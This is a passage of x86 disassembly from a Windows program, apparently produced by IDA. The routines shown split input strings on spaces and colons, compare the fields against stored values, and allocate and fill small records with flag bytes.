		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41C390	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	7
		push	4
		push	0Ch
		push	10h
		push	0Ah
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+30h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	4
		push	43h
		push	10h
		push	0Ah
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+48h]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C610	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C83C
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C7CC
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C7CE
; ---------------------------------------------------------------------------


loc_41C7CC:				; CODE XREF: sub_41C610+1AFj
		xor	edi, edi


loc_41C7CE:				; CODE XREF: sub_41C610+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C83C:				; CODE XREF: sub_41C610+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C9BB
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C94B
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C94D
; ---------------------------------------------------------------------------


loc_41C94B:				; CODE XREF: sub_41C610+32Ej
		xor	edi, edi


loc_41C94D:				; CODE XREF: sub_41C610+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C9BB:				; CODE XREF: sub_41C610+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CBF6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44758A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CB5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41CB5E:				; CODE XREF: sub_41C610+4D6j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CB86
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB86:				; CODE XREF: sub_41C610+569j
		xor	edi, edi


loc_41CB88:				; CODE XREF: sub_41C610+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CBF6:				; CODE XREF: sub_41C610+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CD9B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CD0E
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CD10
; ---------------------------------------------------------------------------


loc_41CD0E:				; CODE XREF: sub_41C610+6F1j
		xor	edi, edi


loc_41CD10:				; CODE XREF: sub_41C610+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CD9B:				; CODE XREF: sub_41C610+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CF40
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CEB3
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CEB5
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41C610+896j
		xor	edi, edi


loc_41CEB5:				; CODE XREF: sub_41C610+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CF40:				; CODE XREF: sub_41C610+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D1A1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44758A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D0EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41D0EC:				; CODE XREF: sub_41C610+A64j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D114
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D114:				; CODE XREF: sub_41C610+AF7j
		xor	edi, edi


loc_41D116:				; CODE XREF: sub_41C610+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D1A1:				; CODE XREF: sub_41C610+116j
					; sub_41C610+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D212:				; CODE XREF: sub_41C610+549j
					; sub_41C610+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C610	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D540	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5D0	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D730:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D748
		push	esi
		call	sub_4367E2
